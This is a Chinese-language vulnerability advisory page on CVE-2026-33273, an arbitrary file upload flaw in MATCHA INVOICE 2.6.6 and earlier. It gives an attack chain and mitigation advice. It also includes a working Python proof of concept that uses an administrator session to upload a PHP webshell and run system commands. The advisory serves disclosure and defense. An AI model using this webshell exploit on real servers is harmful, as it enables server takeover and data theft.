IPBUF安全漏洞报告
English
CVE-2026-33273 CVSS 7.2 高危

CVE-2026-33273 MATCHA INVOICE 任意文件上传漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-33273
漏洞类型
任意文件上传
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
MATCHA INVOICE

相关标签

任意文件上传远程代码执行MATCHA INVOICE需管理员权限

漏洞概述

MATCHA INVOICE 2.6.6及更早版本中存在严重的任意文件上传漏洞。由于缺乏对上传文件类型的有效验证,拥有管理员权限的攻击者可以上传包含恶意代码的文件。成功利用该漏洞可能导致在服务器端执行任意代码,进而造成敏感数据泄露、系统完整性破坏或服务不可用等严重后果。

技术细节

该漏洞的根本原因在于MATCHA INVOICE系统的文件上传接口未对文件类型及扩展名进行严格的校验,存在“不受限制的危险类型文件上传”缺陷。攻击者首先需要获取管理员账号权限(CVSS PR:H)。登录后台后,攻击者利用该缺陷绕过前端或后端的验证机制,构造包含恶意代码的PHP、JSP或ASP脚本文件进行上传。服务器将文件保存在Web可访问目录下,且未对上传目录设置禁止脚本执行的配置。攻击者随后通过浏览器发送HTTP请求直接访问该恶意文件,Web服务器解析并执行其中的代码,从而获取服务器控制权。尽管利用需要高权限,但这为已渗透进内网的攻击者提供了极强的持久化控制能力。

攻击链分析

STEP 1
1. 权限获取
攻击者通过钓鱼或其他手段获取MATCHA INVOICE的管理员账号凭证。
STEP 2
2. 恶意文件上传
攻击者使用管理员身份登录后台,利用文件上传功能,上传包含WebShell的PHP脚本文件。
STEP 3
3. 访问触发
攻击者通过浏览器访问刚刚上传的恶意PHP文件URL。
STEP 4
4. 代码执行
服务器端解析PHP文件并执行其中的系统命令,攻击者从而获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/matcha_invoice/upload.php" shell_url = "http://example.com/matcha_invoice/uploads/shell.php" # Administrator session cookie (required due to PR:H) cookies = { "PHPSESSID": "valid_admin_session_id" } # Payload: A simple PHP webshell # The application fails to validate the file type, allowing .php upload files = { 'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } data = { 'submit': 'Upload' } try: # Step 1: Upload the malicious file print("[*] Attempting to upload malicious file...") response = requests.post(target_url, files=files, data=data, cookies=cookies) if response.status_code == 200 and "success" in response.text.lower(): print("[+] File uploaded successfully!") # Step 2: Trigger the payload print("[*] Triggering the payload...") params = {'cmd': 'whoami'} exec_response = requests.get(shell_url, params=params) if exec_response.status_code == 200: print(f"[+] Command execution successful!") print(f"[+] Output: {exec_response.text}") else: print("[-] Failed to execute command.") else: print("[-] Upload failed.") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

MATCHA INVOICE <= 2.6.6

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层面(如nginx.conf或.htaccess)禁用上传目录的PHP脚本执行权限,并定期扫描上传目录以发现异常文件。同时,加强管理员账户的安全策略,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表